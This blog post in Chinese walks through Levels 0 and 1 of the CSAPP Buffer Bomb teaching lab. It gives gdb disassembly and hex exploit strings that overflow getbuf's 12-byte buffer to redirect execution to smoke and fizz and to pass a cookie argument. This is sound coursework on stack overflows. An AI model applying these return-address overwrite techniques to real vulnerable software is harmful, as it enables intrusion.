标签:缓冲区溢出;实验
题目说明:
开启漏洞之旅,从基础做起。近日,下载了CMU为《深入理解计算机系统》(CSAPP)一书教学配合的缓冲区溢出实验Buffer Bomb,重温了栈溢出的原理。
题目提供了一个有漏洞溢出的程序bufbomb,包括五个Level,在每个Level中要求返回指定的函数、修改全局变量、执行Shellcode等,难度逐渐递增。为保证实验者作业的唯一性,实验提供了程序makecookie,生成指定用户名的cookie,在实验中将会用到这个cookie值。在我的机器上,
heen@linux:~/Study/CSAPP Exp/buflab$ ./makecookie heen 0x5573b7cf
bufbomb中包含一个有漏洞的函数getbuf
int getbuf() { char buf[12]; Gets(buf); return 1; }
与标准的c函数gets类似,Gets从标准输入中读入字符串(直到回车‘\n‘或文件结尾EOF),添加一个null字符,并将其存入目标位置。在上述函数中,目标位置buf为一包含12个字节的字符数组。然而,Gets也不会对传入字符串的长度进行检查,这导致栈溢出的发生。当传入字符串不超过11字符时,
heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:hello Dud: getbuf returned 0x1 Better luck next time
当超过11字符时,
heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:this string is too long! Ouch!: You caused a segmentation fault! Better luck next time
实验还提供了一个程序sendstring,用于将十六进制表示的字符串(exploit string)转换为输入字符串,例如十六进制表示“30 31 32 33 34 35”被sendstring转换为对应的字符串“012345“。通过管道机制可以传递一系列的十六进制字符串。
heen@linux: cat exploit.txt | ./sendstring | ./bufbomb -t heen
Level0: Candle(10分)
getbuf函数被test函数调用
void test() { int val; volatile int local = 0xdeadbeef; val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
在bufbomb中还有一个函数
void smoke() { printf("Smoke!: You called smoke()\n"); validate(0); exit(0); }
要求提供exploit string,使getbuf返回到smoke而非test。
解法:
用gdb调试bufbomb,获知getbuf函数的栈帧布局,以及smoke函数的起始地址
heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done. (gdb) disass getbuf Dump of assembler code for function getbuf: 0x08048a44 <+0>: push ebp 0x08048a45 <+1>: mov ebp,esp 0x08048a47 <+3>: sub esp,0x18 0x08048a4a <+6>: add esp,0xfffffff4 0x08048a4d <+9>: lea eax,[ebp-0xc] ;ebp-0xc为指针buf的值 0x08048a50 <+12>: push eax 0x08048a51 <+13>: call 0x8048b50 <Gets> 0x08048a56 <+18>: mov eax,0x1 0x08048a5b <+23>: mov esp,ebp 0x08048a5d <+25>: pop ebp 0x08048a5e <+26>: ret End of assembler dump. (gdb) disass smoke Dump of assembler code for function smoke: 0x08048910 <+0>: push ebp 0x08048911 <+1>: mov ebp,esp 0x08048913 <+3>: sub esp,0x8 0x08048916 <+6>: add esp,0xfffffff4 0x08048919 <+9>: push 0x8049380 0x0804891e <+14>: call 0x8048748 <printf@plt> 0x08048923 <+19>: add esp,0xfffffff4 0x08048926 <+22>: push 0x0 0x08048928 <+24>: call 0x8048c30 <validate> 0x0804892d <+29>: add esp,0x20 0x08048930 <+32>: add esp,0xfffffff4 0x08048933 <+35>: push 0x0 0x08048935 <+37>: call 0x8048788 <exit@plt> End of assembler dump.
getbuf的栈帧布局如图所示。
输入20个字节的exploit string,覆盖getbuf返回地址为smoke函数的起始地址0x8048910,即可使getbuf返回到smoke。编写地址的时候,注意x86平台的little-ending。
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 10 89 04 08 heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt | ./sendstring |./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:Smoke!: You called smoke()
Level1: Sparkler(20分)
bufbomb中包含fizz函数
void fizz(int val) { if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); }
与上一关类似,要求getbuf不返回到test ,而是返回到fizz,但是必须设置fizz中函数调用的参数为自己的cookie 。
解法:
首先仍然在gdb中disass fizz函数,找出其起始地址为0x804893c,与上一关相同,这个值需要填入buf偏移的第17到20字节,以改写getbuf原来的返回地址。
heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done. (gdb) disass fizz Dump of assembler code for function fizz: 0x0804893c <+0>: push ebp 0x0804893d <+1>: mov ebp,esp 0x0804893f <+3>: sub esp,0x8 0x08048942 <+6>: mov eax,DWORD PTR [ebp+0x8] ;val存储的地址 0x08048945 <+9>: cmp eax,DWORD PTR ds:0x804aa50 0x0804894b <+15>: jne 0x8048970 <fizz+52> 0x0804894d <+17>: add esp,0xfffffff8 0x08048950 <+20>: push eax 0x08048951 <+21>: push 0x804939c 0x08048956 <+26>: call 0x8048748 <printf@plt> 0x0804895b <+31>: add esp,0xfffffff4 0x0804895e <+34>: push 0x1 0x08048960 <+36>: call 0x8048c30 <validate> 0x08048965 <+41>: add esp,0x20 0x08048968 <+44>: jmp 0x8048981 <fizz+69> 0x0804896a <+46>: lea esi,[esi+0x0] 0x08048970 <+52>: add esp,0xfffffff8 0x08048973 <+55>: push eax 0x08048974 <+56>: push 0x80493c0 0x08048979 <+61>: call 0x8048748 <printf@plt> 0x0804897e <+66>: add esp,0x10 0x08048981 <+69>: add esp,0xfffffff4 ---Type <return> to continue, or q <return> to quit---
其次,我们获知fizz函数调用中的参数val存储的地址为fizz函数中的ebp+0x8,这个地址为buf偏移的第25到28字节,如图所示,当getbuf函数返回时,堆栈中最后弹出我们控制的ret(0x804893c),然后开始执行fizz函数,堆栈中又压入EBP,在EBP+0x8即ret+4的地方引用val,在这个地方填入我们的cookie即可达到目的。
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 3c 89 04 08 61 61 61 61 cf b7 73 55
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt | ./sendstring | ./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:Fizz!: You called fizz(0x5573b7cf)
标签:缓冲区溢出;实验
原文地址:http://cybersec.blog.51cto.com/1149046/1549665